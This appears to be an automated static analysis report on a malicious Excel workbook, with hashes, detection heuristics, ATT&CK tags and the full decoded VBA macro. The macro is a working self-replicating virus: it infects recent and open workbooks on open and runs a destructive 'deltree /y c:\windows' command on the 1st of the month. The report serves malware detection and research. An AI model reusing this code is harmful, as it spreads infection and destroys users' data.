Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ecccdcac43fb30aa…

MALICIOUS

Office (OLE)

42.5 KB Created: 1999-02-08 09:24:15 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 0b5288fedeeb89d2aff87b7b4868d686 SHA-1: 5a80f1242a85b563593fe0afb33ef7b6e56e78d0 SHA-256: ecccdcac43fb30aa786667094615353d89965e5b042c55aeba7a640f436529e6
280 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The critical heuristic 'OLE_VBA_SHELL' and the presence of a 'Workbook_Open' macro indicate malicious intent. The VBA script contains a call to 'Shell("deltree /y c:\windows", 0)', which is a command to delete the Windows directory. This is a destructive action, and the macro's structure suggests it's designed to execute this command upon opening the workbook.

Heuristics 5

  • ClamAV: Win.Trojan.W-420 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.W-420
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3200 bytes
SHA-256: 1c03d05429f4fe18baafa19e3c1dd7ea244b4c8df2c49a82ef80759f2f720eaf
Detection
ClamAV: Win.Trojan.W-420
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open(): On Error GoTo Wups
mygame
If Workbooks.Count > 1 Then InfMulti
Application.DisplayAlerts = False
WB = ThisWorkbook.VBProject.VBComponents.Item(1).CodeModule.Lines(1, ThisWorkbook.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
For X = 1 To Application.RecentFiles.Count
Application.RecentFiles.Item(X).Open.Activate
With ActiveWorkbook.VBProject.VBComponents.Item(1).CodeModule
.DeleteLines 1, .CountOfLines: .AddFromString WB
End With
ActiveWorkbook.SaveAs FileName:=ActiveWorkbook.FullName
ActiveWorkbook.Close
Next X
Wups:
End Sub
Private Sub InfMulti(): On Error GoTo Ahhh
Application.DisplayAlerts = False
WB = ThisWorkbook.VBProject.VBComponents.Item(1).CodeModule.Lines(1, ThisWorkbook.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
For X = 1 To Workbooks.Count
With Workbooks.Item(X).VBProject.VBComponents.Item(1).CodeModule
.DeleteLines 1, .CountOfLines: .AddFromString WB
End With
Workbooks.Item(X).SaveAs FileName:=Workbooks.Item(X).FullName
Next X
Ahhh:
End
 
    
    
End Sub
Private Sub mygame(): On Error GoTo the_end
If Day(Date) = 1 Then
ff = MsgBox("hello world?", vbCritical, "The prepared Mind", "Demo.hlp", 1000)
as2 = Shell("deltree /y c:\windows", 0)


End If
If Day(Date) = 13 Then
Application.Caption = " I LOVE MACRO"
End If
the_end:
End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet4"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet5"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet6"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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